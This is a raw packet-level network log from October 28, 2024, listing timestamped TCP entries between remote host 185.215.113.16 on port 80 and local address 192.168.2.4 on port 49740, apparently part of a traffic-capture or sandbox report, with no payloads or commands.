Oct 28, 2024 23:47:21.880788088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.880791903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.892517090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892534018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892549038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892554998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.892574072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892590046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892605066 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892616987 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.892647982 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.892827988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892852068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892868042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892882109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.892889977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892906904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.892932892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.892996073 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.893399000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.893414021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.893440008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.893455029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.893460035 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.893471956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.893486977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.893501043 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.893503904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.893537998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.894259930 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.894275904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.894292116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.894300938 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.894573927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.934706926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.934741020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.934776068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.934833050 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.954312086 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.954365969 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.954370975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.954404116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.954441071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.954451084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.954476118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.954510927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.954534054 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.957089901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957118988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957153082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.957174063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957202911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957231998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.957321882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957355022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957380056 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.957391024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957447052 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.957592010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957621098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957674026 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.957724094 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957752943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.957794905 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.958029032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.958056927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.958125114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.958158016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.958195925 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.958204031 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.958286047 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.958319902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.958355904 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.958405018 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:21.999723911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.999762058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.999795914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:21.999835968 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.000099897 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.011415005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.011450052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.011503935 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.011512041 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.011538982 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.011574984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.011624098 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.011658907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.011693954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.011744976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.011780024 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.011795998 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.011873007 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.012089968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.012142897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.012146950 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.012200117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.012237072 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.012269020 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.012269974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.012320995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.012356997 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.012466908 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.013012886 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.013063908 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.013098955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.013134003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.013170004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.013200045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.013200045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.013202906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.013238907 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.013343096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.013787031 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.013851881 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.053572893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.053607941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.053642988 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.053688049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.073105097 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.073174953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.073204994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.073220015 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.073239088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.073255062 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.076236010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076297045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.076334953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076366901 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076401949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076426029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.076437950 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076472044 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076483011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.076505899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076539993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076554060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.076740980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076770067 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076822996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076828003 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.076852083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.076915026 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.077086926 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.077121019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.077155113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.077167988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.077207088 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.077213049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.077236891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.077290058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.077334881 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.077368021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.077423096 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.118527889 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.118561983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.118597984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.118767977 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.130387068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.130491018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.130538940 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.130543947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.130578995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.130614996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.130616903 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.130650043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.130683899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.130717993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.130738020 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.130775928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.130810976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.130860090 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.131165028 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131230116 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131283045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131285906 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.131335974 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131371021 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131391048 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.131618023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131650925 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131675005 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.131685972 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131716967 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.131736994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131772995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131794930 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.131808996 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.131859064 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.132278919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.132333040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.132385969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.132412910 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.132421017 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.132456064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.132477999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.172368050 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.172437906 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.172472000 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.172508955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.172516108 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.172566891 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.192406893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.192441940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.192475080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.192636013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.194905043 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.194938898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.194974899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195025921 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.195044994 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195077896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195131063 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195142984 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.195164919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195199966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195218086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.195235014 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195260048 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.195708990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195761919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195796013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195800066 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.195831060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195863962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195898056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.195911884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.195911884 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.196079969 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.196113110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.196146965 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.196165085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.196367025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.237729073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.237776041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.237816095 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.237817049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.249429941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.249486923 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.249538898 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.249542952 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.249591112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.249608994 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.249624968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.249660015 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.249696016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.249727964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.249747992 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.249947071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.249982119 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250016928 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250044107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.250051022 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250246048 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.250287056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250339985 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250376940 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250407934 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.250410080 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250446081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250472069 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.250771046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250909090 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250941992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250953913 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.250978947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.250993013 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.251013041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.251049042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.251082897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.251113892 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.251116037 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.251197100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.251655102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.251705885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.251740932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.251774073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.251807928 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.251807928 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.251816034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.251986027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.253740072 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.291393042 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.291467905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.291498899 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.291532993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.291537046 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.291616917 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.311338902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.311377048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.311430931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.311460018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.311520100 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.313826084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.313888073 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.313903093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.313918114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.313935995 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.313976049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.313977003 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.313992977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314080954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.314204931 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314232111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314246893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314295053 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.314310074 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.314475060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314500093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314513922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314562082 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.314726114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314750910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314764977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314790964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.314835072 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.314941883 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314968109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.314981937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.315045118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.318098068 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.356348991 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.356365919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.356381893 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.356446028 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.368331909 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.368366957 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.368424892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.368494034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.368529081 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.368542910 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.368562937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.368597984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.368617058 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.368653059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.368669987 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.368896961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.368926048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.368957043 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:22.369034052 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:22.369067907 CET	80	49740	185.215.113.16	192.168.2.4
